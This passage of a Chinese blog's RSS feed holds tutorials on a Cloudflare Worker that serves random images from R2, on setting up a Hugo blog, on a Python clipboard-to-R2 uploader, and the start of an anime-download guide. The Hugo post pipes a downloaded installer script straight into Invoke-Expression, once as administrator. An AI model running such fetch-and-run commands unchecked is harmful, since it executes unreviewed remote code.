&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用户名:&lt;code&gt;admin&lt;/code&gt;密码:&lt;code&gt;在cmd窗口中如图&lt;/code&gt;。你可以使用鼠标左键在终端中框选内容然后单击鼠标右键进行复制操作&lt;img src=&quot;https://blog.acofork.com/_astro/8cedc3475cd8358507587de8a6b2a91980fe9af4.BV5C7P7T.webp&quot; alt=&quot;QmVH3qZYo3QE6anNHymwkikq5MSeJphrZNR7RCH5jpP3wn.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;注意,在 cmd 中,鼠标左键点击或拖动 cmd 的终端界面会导致进入选择状态,程序将会被系统阻塞,&lt;strong&gt;需要在终端界面点按鼠标右键解除&lt;/strong&gt;。若进程被阻塞cmd 的进程名会多一个&lt;strong&gt;选择&lt;/strong&gt;,请注意。如图是程序被阻塞的例子,&lt;strong&gt;在终端界面点按鼠标右键即可解除&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/afb945ff610c0463ee0db97f52bc42a865b00603.CWbk0EQg.webp&quot; alt=&quot;QmapESiqSEvbYq3AJs15yYvhemRxSHrJaccjTFr99muX6Z.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;现在,你已经成功以管理员身份登入了 AList单击最下面的&lt;strong&gt;管理&lt;/strong&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eb0c3753205f42133445dfcee5f1291debd6c649.DnpNy5p9.webp&quot; alt=&quot;QmfNE53GThdjVrh4q64MJcZqwcGPD7UtcYTNw9bVBaSEaF.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;你会进入到如图界面。尽管 AList 运行在本地,也建议更改你的用户名和密码&lt;img src=&quot;https://blog.acofork.com/_astro/3bde577194580e4d17aa457231360733175e2b0d.CWuWmboA.webp&quot; alt=&quot;QmNdD8UU8fkVDBz5dXdJhCF2fZg8P1FwrcMaaTsG6a7ENy.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;更改账密,重新以新账密登录&lt;img src=&quot;https://blog.acofork.com/_astro/a5ba3b6cc73002f3e96b6aab8c4e252f697802da.CqlGB7Z4.webp&quot; alt=&quot;Qmas7pMiPR2FNTXheBT1xGNUpzDiSzv7J7yd6oCuT17yad.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入控制台,然后单击存储,如图&lt;img src=&quot;https://blog.acofork.com/_astro/bb8fc961e43dffa99994c0d0e703ba98fc01b85a.DtlnhxCE.webp&quot; alt=&quot;QmS4gGyCM1j3RXgHEPuZ1zTbLAvGtVBEiPXJe9QMF3dD2D.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择添加,如图&lt;img src=&quot;https://blog.acofork.com/_astro/2807d1dbc07fed008c8177cd3b2b89bfd03cc8be.gOIkCfA1.webp&quot; alt=&quot;QmRDVxt8WbrVkHavgFNXj3qC86ysw6sSZhPy3Uf2ixKp2E.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;详细配置如图。挂载路径即 AList 展示路径,推荐使用&lt;code&gt;/R2/你的存储桶名字&lt;/code&gt;,地区为&lt;code&gt;auto&lt;/code&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-16-11-37-53-image.C6pLEve_.webp&quot; alt=&quot;&quot; /&gt;回到主页,如图&lt;img src=&quot;https://blog.acofork.com/_astro/65265d29e91f146ecbe3d92218eb9af49eac1c8b.DLyJb3FJ.webp&quot; alt=&quot;QmSnR9Ptrssx4nqk9qCvhFUNKQyQqJiN7GRscwoj4Dczgj.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;尝试上传文件,如图&lt;img src=&quot;https://blog.acofork.com/_astro/061c995a66c34ebc341f692d4eb82d5657d791d6.Cjl5ja7d.webp&quot; alt=&quot;QmPqFsmZNNnh4jNyLS7X3h8Zr6ZCVqTqGVwTxmPDdbmrGW.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可以看到,速度非常快&lt;img src=&quot;https://blog.acofork.com/_astro/51d0a617cbda108ce6c12fb25f71fb5223a0cddb.Bb2565R0.webp&quot; alt=&quot;QmXfGK6aZjz741GrY8RfFfKMkUzDMB3xhx93PGZ9S1QycT.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为你的图床创建目录以分类横屏和竖屏图等,以便下文使用 Workers 连接 R2 来调用。后文我将使用R2的&lt;code&gt;/ri/h&lt;/code&gt; 路径作为横屏随机图目录、&lt;code&gt;/ri/v&lt;/code&gt; 路径作为竖屏随机图目录&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3bde577194580e4d17aa457231360733175e2b0d.CWuWmboA.webp&quot; alt=&quot;QmNdD8UU8fkVDBz5dXdJhCF2fZg8P1FwrcMaaTsG6a7ENy.webp&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;创建 Workers连接 R2&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;Cloudflare 仪表盘&lt;/a&gt;,进入 Workers 和 Pages 页面,如图&lt;img src=&quot;https://blog.acofork.com/_astro/49ccd51771082fdc94eecb270caf987d257cd987.xJ72EQik.webp&quot; alt=&quot;QmW5UaUap8T2R37u5dzmKGLmUgk4qKnSMFwHBVHqvVbkVA.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单击创建,选择创建 Workers名称自取单击部署&lt;img src=&quot;https://blog.acofork.com/_astro/95102dd09752a103d8022b1f281538e729b7a448.PsVTxXY0.webp&quot; alt=&quot;QmVvLv5n41QQfDfYiVWYRpsfw7TVNGy1BYuv5e8vBRhKLA.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择编辑代码&lt;img src=&quot;https://blog.acofork.com/_astro/fa78af856b3ff3798c77a55be15b2644dec944c1.BC0Iekzl.webp&quot; alt=&quot;QmTbRifzXQ593DGyjFQMbA9exyNp2iAeAg4zbVrfFimQc4.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;粘贴代码(创建随机横屏图):&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;新代码:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default {
async fetch(request, env, ctx) {
const bucket = env.MY_BUCKET;
const url = new URL(request.url);
const hostname = url.hostname;
// 初始化prefix
let prefix = &apos;&apos;;
// 根据域名判断prefix
if (hostname === &apos;hpic.072103.xyz&apos; || hostname === &apos;api-hpic.072103.xyz&apos;) {
prefix = &apos;ri/h/&apos;;
} else if (hostname === &apos;vpic.072103.xyz&apos; || hostname === &apos;api-vpic.072103.xyz&apos;) {
prefix = &apos;ri/v/&apos;;
} else {
return new Response(&apos;Invalid domain&apos;, { status: 400 });
}
try {
// 如果是API域名只返回数量
if (hostname.startsWith(&apos;api-&apos;)) {
const objects = await bucket.list({ prefix: prefix });
const count = objects.objects.length;
const headers = new Headers({
&apos;Access-Control-Allow-Origin&apos;: &apos;*&apos;,
&apos;Content-Type&apos;: &apos;text/plain&apos;
});
return new Response(count.toString(), { headers });
}
// 原有的随机图片逻辑
const objects = await bucket.list({ prefix: prefix });
const items = objects.objects;
if (items.length === 0) {
return new Response(&apos;No images found&apos;, { status: 404 });
}
const randomItem = items[Math.floor(Math.random() * items.length)];
const object = await bucket.get(randomItem.key);
if (!object) {
return new Response(&apos;Image not found&apos;, { status: 404 });
}
const headers = new Headers();
headers.set(&apos;Content-Type&apos;, object.httpMetadata.contentType || &apos;image/jpeg&apos;);
return new Response(object.body, { headers });
} catch (error) {
console.error(&apos;Error:&apos;, error);
return new Response(&apos;Internal Server Error&apos;, { status: 500 });
}
},
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;旧代码:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export default {
async fetch(request, env, ctx) {
// R2 bucket 配置
const bucket = env.MY_BUCKET;
try {
// 列出 /ri/h 目录下的所有对象
const objects = await bucket.list({ prefix: &apos;ri/h/&apos; });
// 从列表中随机选择一个对象
const items = objects.objects;
if (items.length === 0) {
return new Response(&apos;No images found&apos;, { status: 404 });
}
const randomItem = items[Math.floor(Math.random() * items.length)];
// 获取选中对象
const object = await bucket.get(randomItem.key);
if (!object) {
return new Response(&apos;Image not found&apos;, { status: 404 });
}
// 设置适当的 Content-Type
const headers = new Headers();
headers.set(&apos;Content-Type&apos;, object.httpMetadata.contentType || &apos;image/jpeg&apos;);
// 返回图片内容
return new Response(object.body, { headers });
} catch (error) {
console.error(&apos;Error:&apos;, error);
return new Response(&apos;Internal Server Error&apos;, { status: 500 });
}
},
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;点击左侧的文件图标&lt;img src=&quot;https://blog.acofork.com/_astro/b02f29fbafb44ad36a0fa770d013069a374394a8.t5c4IDWI.webp&quot; alt=&quot;QmQGQTiTXSESU2TSJ6tc3KrzWU4KABKqn6QZ1GdWqKnWmc.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;wrangler.toml&lt;/code&gt;中填入:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;[[r2_buckets]]
binding = &quot;MY_BUCKET&quot;
bucket_name = &quot;114514&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;保存修改,点击右上角的部署&lt;img src=&quot;https://blog.acofork.com/_astro/6751c7b5122b938e01087d1bed629fcad1182a10.CL9sSqB6.webp&quot; alt=&quot;QmP7hXdtenrJrzJRRePHQATGtyAsZEr5MkMsboXvmNUxTx.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在设置 - 变量找到 R2 存储桶绑定,添加你的存储桶,变量名即上文的&lt;code&gt;MY_BUCKET&lt;/code&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/572f1c9946b5b6de5350c708e579d9887949b6e9.DyTpoEBs.webp&quot; alt=&quot;QmStitSyATnA8sY9tTgZaXXqmqkGPUtZmMxn9KjbFQzgTc.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在设置 - 触发器添加你的自定义域名以便访问&lt;img src=&quot;https://blog.acofork.com/_astro/706b3acbb372307713e38c96fc867f4e96234fd7.DWrJLHhg.webp&quot; alt=&quot;QmUMxtkCiKsgFw8afRUGREFztXE9D5W6FmCbAUB7DaVH5o.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/1a6fa505881591a294f0b4ef4a1940e40fe57ab9.BvdKZa4r.webp&quot; alt=&quot;QmPF9iCoq6n8Jj2Z6kPkdJSCm45VJystZoYcir55yceCQo.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;访问效果,每次刷新都不一样&lt;img src=&quot;https://blog.acofork.com/_astro/0ba1efee8174e0d3db761bbd613a7b94b9738cee.CBH8Lj1G.webp&quot; alt=&quot;QmQgEdjXxF9oph2jYKzFMJToX9WfG11jUmPiNJnjhYVN4N.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;通过使用 HTML 的 &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; 标签引用即可达到开头的效果&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;如:&lt;code&gt;&amp;lt;img src=&quot;你的域名&quot; alt=&quot;&quot;&amp;gt;&lt;/code&gt;
&amp;lt;img title=&quot;&quot; src=&quot;https://hpic.072103.xyz&quot; alt=&quot;loading-ag-4760&quot;&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Hugo博客搭建教程以及配置调优</title><link>https://blog.acofork.com/posts/hugo/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hugo/</guid><description>Hugo是一个基于Golang的静态博客相比于Nodejs的Hexo构建效率提升600%同时也支持低JavaScript特性SEO更加优化爬虫更易获取</description><pubDate>Mon, 03 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;曾经我写过一篇文章叫做:&lt;a href=&quot;/posts/fuwari/&quot;&gt;Fuwari静态博客搭建教程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;文中的&lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;Fuwari&lt;/a&gt;是基于Astro的并且使用了服务器+客户端的混合渲染尽管UI确实好看但因为本人不会写Astro导致日后维护特别困难比如手动添加Giscus评论后和上游分支发生冲突需要手动解决冲突才能合并上游&lt;/p&gt;
&lt;p&gt;最后我放弃了既然我就是菜我为什么不找一个原生使用HTML+JS+CSS的框架呢&lt;/p&gt;
&lt;p&gt;于是我便询问AIClaude推荐我使用Hugo。&lt;/p&gt;
&lt;p&gt;其实我早就曾听闻Hugo的大名但是并没有深入研究但是Claude又告诉我Hugo采用Go语言进行编译速度快而且想要二次开发也只需要改改我最熟悉的HTML+JS+CSS。&lt;/p&gt;
&lt;p&gt;于是我便花了2小时深入研究、部署、调优。发现Hugo确实很强大迁移方便二改简单构建迅速&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;请全程在Windows上操作&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们首先需要安装Scoop这是一个适用于Windows的包管理器个人认为非常好用&lt;/p&gt;
&lt;p&gt;Scoop默认会安装到C盘如果你想要换盘请按需更改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$env:SCOOP=&apos;D:\Scoop&apos;
$env:SCOOP_GLOBAL=&apos;D:\ScoopApps&apos;
[Environment]::SetEnvironmentVariable(&apos;SCOOP&apos;, $env:SCOOP, &apos;User&apos;)
[Environment]::SetEnvironmentVariable(&apos;SCOOP_GLOBAL&apos;, $env:SCOOP_GLOBAL, &apos;Machine&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装Scoop&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
Invoke-RestMethod -Uri https://get.scoop.sh | Invoke-Expression
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你以管理员的身份会安装失败请切换为普通用户。若想强制以管理员身份安装Scoop请使用&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ScoopInstaller/Install#for-admin&quot;&gt;github原帖&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;出于安全考虑默认情况下已禁用管理员控制台下的安装。如果您知道自己在做什么并希望以管理员身份安装Scoop请下载安装程序并在提升的控制台中手动执行它使用 &lt;code&gt;-RunAsAdmin&lt;/code&gt; 参数。以下是示例:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;irm get.scoop.sh -outfile &apos;install.ps1&apos;
.\install.ps1 -RunAsAdmin [-OtherParameters ...]
# 如果你想要一行解决:
iex &quot;&amp;amp; {$(irm get.scoop.sh)} -RunAsAdmin&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装Hugo框架&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;scoop install hugo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后选择一个你喜欢的文件夹创建你的站点。 &lt;code&gt;myblog&lt;/code&gt; 即你的站点文件夹名称&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hugo new site myblog
cd myblog
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装PaperMod主题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;站点根目录会有一个 &lt;code&gt;hugo.toml&lt;/code&gt;。我推荐使用YAML。将文件重命名为 &lt;code&gt;hugo.yaml&lt;/code&gt;。粘贴并更改以下内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;baseURL: &quot;https://站点url&quot;
title: &quot;网站标题&quot;
LanguageCode: &quot;zh-CN&quot;
theme: &quot;PaperMod&quot;
# 启用首页个人简介展示
params:
# 是否启用评论。你需要自己配置或者直接引入Giscus等评论系统
comments: false
# 是否显示代码复制按钮
ShowCodeCopyButtons: true
# 是否显示面包屑导航
ShowBreadCrumbs: false
# 是否显示阅读时间
ShowReadingTime: true
# 是否显示分享按钮
ShowShareButtons: true
# 分享按钮配置
# ShareButtons: [&quot;linkedin&quot;, &quot;twitter&quot;]
# 是否禁用主题切换按钮
disableThemeToggle: false
assets:
favicon: &quot;/你的/网站图标.jpg&quot; # 需要在static文件夹放置对应的图片
iconHeight: 35
# 首页信息配置
homeInfoParams:
Title: &quot;首页展示的标题&quot;
Content: &amp;gt;
首页展示的文本
# 设置网站头像和首页头像
profileMode:
enabled: false # 设为 true 将完全替换 homeInfoParams
# 网站头像设置 (显示在导航栏)
label:
text: &quot;左上角显示的文本&quot;
icon: &quot;/你的/左上角显示的图片.jpg&quot; # 这将显示在导航栏标题旁边。需要在static文件夹放置对应的图片
iconHeight: 35
# 社交图标 (显示在简介下方)
socialIcons:
- name: bilibili
url: &quot;&quot;
- name: github
url: &quot;&quot;
- name: telegram
url: &quot;&quot;
# 可以添加更多社交图标 https://github.com/adityatelange/hugo-PaperMod/wiki/Icons
# 顶部导航栏的快捷链接
menu:
main:
- identifier: categories
name: 分类
url: /categories/
weight: 10
- identifier: tags
name: 标签
url: /tags/
weight: 20
- identifier: archives
name: 归档
url: /archives/
weight: 30
- identifier: search
name: 搜索
url: /search/
weight: 40
# 可以添加更多导航链接。weight的值越高排序越靠后
# 如果要启用搜索功能,需要添加这个
outputs:
home:
- HTML
- RSS
- JSON # 必须,用于搜索功能
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们需要分别配置分类、标签、归档和搜索页&lt;/p&gt;
&lt;p&gt;创建 &lt;code&gt;content\categories\_index.md&lt;/code&gt; 写入:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: 分类
layout: categories
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建 &lt;code&gt;content\tags\_index.md&lt;/code&gt; 写入:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: 标签
layout: tags
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建 &lt;code&gt;content\archives.md&lt;/code&gt; 写入:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: 归档
layout: archives
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建 &lt;code&gt;content\search.md&lt;/code&gt; 写入:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: &quot;搜索&quot;
layout: &quot;search&quot;
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们要更改默认的文章创建模板&lt;/p&gt;
&lt;p&gt;&lt;code&gt;archetypes\default.md&lt;/code&gt; 写入:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: {{ replace .File.ContentBaseName &quot;-&quot; &quot; &quot; | title }}
published: {{ .Date }}
summary: &quot;文章简介&quot;
cover:
image: 文章封面图。也支持HTTPS
tags: [标签1, 标签2]
categories: &apos;文章所处的分类&apos;
draft: false
lang: &apos;&apos;
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来我们就可以通过命令来创建文章并开始写作了。注意最终构建的文章URL是你的文章的文件名。比如&lt;code&gt;https://你的网站.com/posts/first&lt;/code&gt; 所以文章文件名尽量简短,这并不会影响你的文章标题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hugo new posts/first.md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我们写完一篇文章想要预览网站,可以使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hugo server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我们想要将站点发布到Vercel、Cloudflare Pages等静态网站托管平台可以将我们的 &lt;code&gt;myblog&lt;/code&gt; 作为一个Git存储库提交到Github&lt;/p&gt;
&lt;p&gt;根目录:&lt;code&gt;./&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;输出目录:&lt;code&gt;public&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;构建命令:&lt;code&gt;hugo --gc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;环境变量: Key&lt;code&gt;HUGO_VERSION&lt;/code&gt; Value&lt;code&gt;0.145.0&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;对象存储存图中间件代码:&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import keyboard
import pyperclip
from PIL import ImageGrab, Image
import io
import boto3
from botocore.config import Config
import time
import uuid
import pyautogui
import os
from io import BytesIO
# 示例配置
# # R2 配置
# R2_CONFIG = {
# &apos;account_id&apos;: &apos;11111111111111111&apos;,
# &apos;access_key_id&apos;: &apos;11111111111111111&apos;,
# &apos;secret_access_key&apos;: &apos;11111111111111111&apos;,
# &apos;bucket_name&apos;: &apos;11111111111111111&apos;
# }
# # OSS 配置
# OSS_CONFIG = {
# &apos;url&apos;: &apos;sb-eo-r2.2x.nz&apos;,
# &apos;prefix&apos;: &apos;/fuwari-blog/img&apos;
# }
#########################################################
# R2 配置
R2_CONFIG = {
&apos;account_id&apos;: &apos;&apos;,
&apos;access_key_id&apos;: &apos;&apos;,
&apos;secret_access_key&apos;: &apos;&apos;,
&apos;bucket_name&apos;: &apos;&apos;
}
# OSS 配置
OSS_CONFIG = {
&apos;url&apos;: &apos;&apos;,
&apos;prefix&apos;: &apos;&apos;
}
#########################################################
def init_r2_client():
&quot;&quot;&quot;初始化 R2 客户端&quot;&quot;&quot;
return boto3.client(
&apos;s3&apos;,
endpoint_url=f&apos;https://{R2_CONFIG[&quot;account_id&quot;]}.r2.cloudflarestorage.com&apos;,
aws_access_key_id=R2_CONFIG[&apos;access_key_id&apos;],
aws_secret_access_key=R2_CONFIG[&apos;secret_access_key&apos;],
config=Config(signature_version=&apos;s3v4&apos;),
region_name=&apos;auto&apos;
)
def get_image_from_clipboard():
&quot;&quot;&quot;从剪贴板获取图片&quot;&quot;&quot;
try:
image = ImageGrab.grabclipboard()
if image is None:
return None
# 如果是列表(多个文件),取第一个
if isinstance(image, list):
if len(image) &amp;gt; 0:
# 如果是图片文件路径,打开它
try:
return Image.open(image[0])
except Exception as e:
print(f&quot;打开图片文件失败: {e}&quot;)
return None
return None
# 如果直接是 Image 对象
if isinstance(image, Image.Image):
return image
return None
except Exception as e:
print(f&quot;获取剪贴板图片失败: {e}&quot;)
return None
def convert_to_webp(image):
&quot;&quot;&quot;将图片转换为 webp 格式&quot;&quot;&quot;
if not image:
return None
try:
buffer = BytesIO()
# 确保图片是 RGB 模式
if image.mode in (&apos;RGBA&apos;, &apos;LA&apos;):
background = Image.new(&apos;RGB&apos;, image.size, (255, 255, 255))
background.paste(image, mask=image.split()[-1])
image = background
elif image.mode != &apos;RGB&apos;:
image = image.convert(&apos;RGB&apos;)
image.save(buffer, format=&quot;WEBP&quot;, quality=80)
return buffer.getvalue()
except Exception as e:
print(f&quot;转换图片失败: {e}&quot;)
return None
def upload_to_r2(image_data):
&quot;&quot;&quot;上传图片到 R2&quot;&quot;&quot;
if not image_data:
return None
client = init_r2_client()
# 生成基础文件名
base_filename = f&quot;{uuid.uuid4()}.webp&quot;
filename = base_filename
try:
# 检查文件是否已存在
attempt = 1
while True:
try:
# 尝试获取文件信息,如果文件存在会返回数据,不存在会抛出异常
client.head_object(
Bucket=R2_CONFIG[&apos;bucket_name&apos;],
Key=f&quot;{OSS_CONFIG[&apos;prefix&apos;].strip(&apos;/&apos;)}/{filename}&quot;
)
# 如果文件存在,修改文件名
name_without_ext = base_filename.rsplit(&apos;.&apos;, 1)[0]
filename = f&quot;{name_without_ext}_{attempt}.webp&quot;
attempt += 1
print(f&quot;文件名已存在,尝试重命名为: {filename}&quot;)
except client.exceptions.ClientError as e:
# 如果是 404 错误,说明文件不存在,可以使用这个文件名
if e.response[&apos;Error&apos;][&apos;Code&apos;] == &apos;404&apos;:
break
raise e # 其他错误则抛出
# 上传文件
client.put_object(
Bucket=R2_CONFIG[&apos;bucket_name&apos;],
Key=f&quot;{OSS_CONFIG[&apos;prefix&apos;].strip(&apos;/&apos;)}/{filename}&quot;,
Body=image_data,
ContentType=&apos;image/webp&apos;
)
return filename
except Exception as e:
print(f&quot;上传失败: {e}&quot;)
return None
def generate_markdown_link(filename):
&quot;&quot;&quot;生成 Markdown 图片链接&quot;&quot;&quot;
if not filename:
return None
url = f&quot;https://{OSS_CONFIG[&apos;url&apos;]}{OSS_CONFIG[&apos;prefix&apos;]}/{filename}&quot;
return f&quot;![]({url})&quot;
def type_markdown_link(markdown_link):
&quot;&quot;&quot;模拟键盘输入 Markdown 链接&quot;&quot;&quot;
if not markdown_link:
return
pyperclip.copy(markdown_link)
pyautogui.hotkey(&apos;ctrl&apos;, &apos;v&apos;)
def handle_upload():
&quot;&quot;&quot;处理图片上传的主函数&quot;&quot;&quot;
print(f&quot;\n[{time.strftime(&apos;%Y-%m-%d %H:%M:%S&apos;)}] 收到粘贴请求&quot;)
print(&quot;正在检查剪贴板...&quot;)
# 获取剪贴板图片
image = get_image_from_clipboard()
if not image:
print(&quot;❌ 剪贴板中没有图片&quot;)
return
print(&quot;✅ 获取到剪贴板图片&quot;)
# 转换为 webp
print(&quot;正在转换为 WebP 格式...&quot;)
image_data = convert_to_webp(image)
if not image_data:
print(&quot;❌ 图片转换失败&quot;)
return
print(f&quot;✅ 转换完成,大小: {len(image_data)/1024:.2f}KB&quot;)
# 上传到 R2
print(&quot;正在上传到 R2...&quot;)
filename = upload_to_r2(image_data)
if not filename:
print(&quot;❌ 上传失败&quot;)
return
print(f&quot;✅ 上传成功,文件名: {filename}&quot;)
# 生成并输入 Markdown 链接
markdown_link = generate_markdown_link(filename)
if markdown_link:
print(f&quot;生成的 URL: https://{OSS_CONFIG[&apos;url&apos;]}{OSS_CONFIG[&apos;prefix&apos;]}/{filename}&quot;)
print(f&quot;模拟键入: {markdown_link}&quot;)
type_markdown_link(markdown_link)
print(&quot;✅ 操作完成&quot;)
def main():
&quot;&quot;&quot;主函数&quot;&quot;&quot;
print(&quot;=&quot; * 50)
print(&quot;R2 图片上传插件已启动&quot;)
print(f&quot;当前配置:&quot;)
print(f&quot;- OSS 域名: {OSS_CONFIG[&apos;url&apos;]}&quot;)
print(f&quot;- 存储路径: {OSS_CONFIG[&apos;prefix&apos;]}&quot;)
print(f&quot;- R2 存储桶: {R2_CONFIG[&apos;bucket_name&apos;]}&quot;)
print(&quot;使用 Ctrl+Alt+V 上传剪贴板中的图片&quot;)
print(&quot;=&quot; * 50)
# 注册快捷键
keyboard.add_hotkey(&apos;ctrl+alt+v&apos;, handle_upload)
# 保持程序运行
keyboard.wait()
if __name__ == &quot;__main__&quot;:
main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>教你搭建自己的番剧库,实现自动追番!</title><link>https://blog.acofork.com/posts/autobangumi/</link><guid isPermaLink="true">https://blog.acofork.com/posts/autobangumi/</guid><description>使用AutoBangumi连接qBittorrent下载番剧然后使用刮削软件刮削设置一遍享受终身</description><pubDate>Tue, 25 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;实现流程:&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;每当新番更新时AutoBangumi自动向qb推送种子下载并且重命名&lt;/li&gt;
&lt;li&gt;刮削软件如Plex飞牛影视设置定时搜索媒体库&lt;/li&gt;
&lt;li&gt;你只需要选番,然后等待下载和看就行了 &lt;s&gt;实际并非&lt;/s&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;安装qbittorrent&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;用于下载番剧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;各系统安装方法各有不同。如果你安装的是非nox版本记得在设置打开WebUI并监听0.0.0.0:8080&lt;/p&gt;
&lt;p&gt;Windows&lt;a href=&quot;https://sourceforge.net/projects/qbittorrent/files/qbittorrent-win32&quot;&gt;SourceForge&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Linux&lt;code&gt;apt/yum install qbittorrent-nox&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Dockerhttps://github.com/linuxserver/docker-qbittorrent&lt;/p&gt;
&lt;p&gt;Tracker服务器大全&lt;a href=&quot;https://www.yaozuopan.top/index.php/archives/1014/#:~:text=%E4%B8%AD%E5%9B%BD%E5%8F%AF%E7%94%A8%E7%9A%84%20BT%20T&quot;&gt;中国可用的 BT Tracker 服务器列表每24小时自动更新 - 小小编程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/29e0e4c26c15463ff692aabcee747950e2d029d3.WlAHr-Ng.webp&quot; alt=&quot;8938ee430e5f74109c34c8c6d48e0e4f619cbeff.webp&quot; /&gt;&lt;/p&gt;
